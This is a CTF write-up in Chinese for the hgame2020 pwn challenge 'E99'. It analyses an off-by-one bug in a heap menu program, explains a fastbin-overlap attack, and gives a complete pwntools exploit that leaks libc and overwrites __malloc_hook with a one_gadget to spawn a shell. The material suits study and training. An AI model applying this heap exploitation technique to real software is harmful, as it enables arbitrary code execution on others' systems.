0%

hgame2020 pwn E99

hgame2020 week3 pwn E99
嘉木口中不难的一道堆题.

0x0 源代码分析

checksec一下
QQ截图20200212165650.png
拖进ida里面看一下.
QQ截图20200212165908.png
add函数这里读入size和content, size计入到sizelist中.
QQ截图20200212165918.png
Dele函数也是将list和sizelist都清空了.
QQ截图20200212165932.png
Edit这里也不是再重新读入一个size, 而是用原来sizelist中的值作为读入的值.
QQ截图20200212165925.png
show函数这里还是可以利用unsorted bin中的chunk的fd和libcbase有关来获得libcbase.
这道题乍一看没有什么漏洞.
漏洞出来read_n函数中.
QQ截图20200212170917.png
这里有off by one漏洞.

0x1 漏洞利用.

off by one然后利用fastbin atk.

fastbin

fastbin可以看做是small bin的一个cache.
fastbin在32位下处理小于64b的chunk分配请求, 64位下处理小于128b的.
fastbin是一个单向链表, 满足LIFO原则, fastbin上的chunk的P位都为1.
注意一点, 当申请的内存大小为0x88的时候, 分配的chunk的大小为0x90, 这时候下一个chunk的prevsize这0x8的内存是被占用了的.
所以当我们malloc(0x88), malloc(0x78), malloc(0x68), 然后content输入’a’ * 0x88 + ‘\xf1’, 这时候其实是后一个chunk的size被修改成了0xf0(1是标志位), 这样的话, 我们malloc一个(0xd8)大小的chunk, 会分配到刚才free掉的两个chunk上, 当我们再次malloc(0x68)的时候, 得到的是我们刚才malloc(0x68)的地址.
这种做法个人理解是因为没有uaf漏洞, 所以overlap, 覆盖0x68chunk的fd.
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
sh = process('./E99')

gdb.attach(sh)
context.log_level = 'debug'

list_addr = 0x202040
one_gadget = 0xf1147

def Write(Until, Text, end = '\n'):
sh.recvuntil(Until)
sh.send(Text + end)

def Add(Size, Text):
Write(':', '1')
Write('size?\n', str(Size))
Write('content:', Text)

def Dele(Id):
Write(':', '2')
Write('index?\n', str(Id))

def Show(Id):
Write(':', '3')
Write('index?\n', str(Id))

def Edit(Id, Text):
Write(':', '4')
Write('index?\n', str(Id))
Write('content:', Text)

Add(0x88, 'a')
Add(0x88, 'b')
Add(0x78, 'c')
Add(0x68, 'd')

Dele(0)
Add(0x88, '')
Show(0)

sh.recvuntil('content:')
libcbase = u64(sh.recv(6).ljust(8, '\x00')) - 0x3c4b0a
log.success('libcbase: ' + hex(libcbase))
malloc_hook = libcbase + 0x3c4b10
system_addr = libcbase + 0x45390

# Edit #1
Write(':', '4')
Write('index?\n', str(1))
Write('content:', '\x00' * 0x88, end = '\xf1') # change next size

Dele(2)
Dele(3)

Add(0xd8, '\x00' * 0x78 + p64(0x71) + p64(malloc_hook - 0x23)) # overlap
Add(0x68, 'a')
Add(0x68, 'a' * 0x13 + p64(libcbase + one_gadget))

Write(':', '1')
Write('size?\n', str(1))


sh.interactive()